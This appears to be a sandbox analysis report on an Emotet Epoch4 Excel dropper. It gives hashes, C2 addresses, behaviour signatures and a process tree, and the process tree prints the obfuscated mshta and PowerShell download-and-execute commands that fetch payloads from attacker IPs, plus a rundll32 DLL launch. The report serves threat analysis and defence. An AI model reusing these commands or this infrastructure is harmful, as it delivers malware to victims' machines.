emotet | 8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177

General

Target

8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls
Size

142KB
MD5

994d78ed4f375307b15d5886b8c7b1df
SHA1

1f9fbed0fa4a791a6765351b8a242a79ec80d257
SHA256

8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177
SHA512

46b2b712071a87aad30f11b86be7a02f80ada10655762f263e8aaa9888b03b148fb49f73d565d2aedb10d9c7840c0737525bb5302e85f97ce85e9aa1da5b65f7

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3896	2360	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
31	3052	mshta.exe
34	3168	powershell.exe
36	3168	powershell.exe
38	3168	powershell.exe
48	3432	rundll32.exe
50	3432	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2272	rundll32.exe
2384	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Vaizleokc\ciutcsb.bjv	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3180	3052	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2360	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
3168	powershell.exe
3168	powershell.exe
3168	powershell.exe
3432	rundll32.exe
3432	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3180	WerFault.exe
Token: SeDebugPrivilege	3168	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE
2360	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 2432	2360	EXCEL.EXE	70
PID 2360 wrote to memory of 2432	2360	EXCEL.EXE	70
PID 2360 wrote to memory of 3896	2360	EXCEL.EXE	72
PID 2360 wrote to memory of 3896	2360	EXCEL.EXE	72
PID 3896 wrote to memory of 3052	3896	cmd.exe	74
PID 3896 wrote to memory of 3052	3896	cmd.exe	74
PID 3052 wrote to memory of 3168	3052	mshta.exe	76
PID 3052 wrote to memory of 3168	3052	mshta.exe	76
PID 3168 wrote to memory of 1820	3168	powershell.exe	79
PID 3168 wrote to memory of 1820	3168	powershell.exe	79
PID 1820 wrote to memory of 2272	1820	cmd.exe	80
PID 1820 wrote to memory of 2272	1820	cmd.exe	80
PID 1820 wrote to memory of 2272	1820	cmd.exe	80
PID 2272 wrote to memory of 2384	2272	rundll32.exe	81
PID 2272 wrote to memory of 2384	2272	rundll32.exe	81
PID 2272 wrote to memory of 2384	2272	rundll32.exe	81
PID 2384 wrote to memory of 1684	2384	rundll32.exe	82
PID 2384 wrote to memory of 1684	2384	rundll32.exe	82
PID 2384 wrote to memory of 1684	2384	rundll32.exe	82
PID 1684 wrote to memory of 3432	1684	rundll32.exe	83
PID 1684 wrote to memory of 3432	1684	rundll32.exe	83
PID 1684 wrote to memory of 3432	1684	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2432
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3168
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1820
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2272
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2384
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vaizleokc\ciutcsb.bjv",gLEdINItkrd
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1684
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vaizleokc\ciutcsb.bjv",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3432
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3052 -s 1660
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3180

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1684-559-0x0000000000D20000-0x0000000000D46000-memory.dmp

Filesize
152KB

Download
memory/2272-544-0x0000000000150000-0x0000000000176000-memory.dmp

Filesize
152KB

Download
memory/2360-128-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2360-117-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2360-601-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2360-115-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2360-599-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2360-600-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2360-598-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2360-116-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2360-127-0x00007FFDC85C0000-0x00007FFDC85D0000-memory.dmp

Filesize
64KB

Download
memory/2360-118-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2360-129-0x00007FFDC85C0000-0x00007FFDC85D0000-memory.dmp

Filesize
64KB

Download
memory/2384-558-0x0000000004DD0000-0x0000000004DF6000-memory.dmp

Filesize
152KB

Download
memory/2384-547-0x0000000000B10000-0x0000000000B36000-memory.dmp

Filesize
152KB

Download
memory/2384-552-0x0000000004AA0000-0x0000000004AC6000-memory.dmp

Filesize
152KB

Download
memory/2384-554-0x0000000004C20000-0x0000000004C46000-memory.dmp

Filesize
152KB

Download
memory/2384-556-0x0000000004C80000-0x0000000004CA6000-memory.dmp

Filesize
152KB

Download
memory/3168-486-0x000001265B500000-0x000001265B502000-memory.dmp

Filesize
8KB

Download
memory/3168-530-0x000001265B506000-0x000001265B508000-memory.dmp

Filesize
8KB

Download
memory/3168-516-0x000001265BB10000-0x000001265BB86000-memory.dmp

Filesize
472KB

Download
memory/3168-505-0x000001265BA50000-0x000001265BA8C000-memory.dmp

Filesize
240KB

Download
memory/3168-488-0x000001265B503000-0x000001265B505000-memory.dmp

Filesize
8KB

Download
memory/3168-484-0x000001265B470000-0x000001265B492000-memory.dmp

Filesize
136KB

Download
memory/3432-566-0x0000000005170000-0x0000000005196000-memory.dmp

Filesize
152KB

Download
memory/3432-568-0x0000000005250000-0x0000000005276000-memory.dmp

Filesize
152KB

Download
memory/3432-570-0x0000000005330000-0x0000000005356000-memory.dmp

Filesize
152KB

Download
memory/3432-572-0x0000000005420000-0x0000000005446000-memory.dmp

Filesize
152KB

Download
memory/3432-574-0x0000000005510000-0x0000000005536000-memory.dmp

Filesize
152KB

Download
memory/3432-576-0x0000000005700000-0x0000000005726000-memory.dmp

Filesize
152KB

Download
memory/3432-578-0x0000000005780000-0x00000000057A6000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads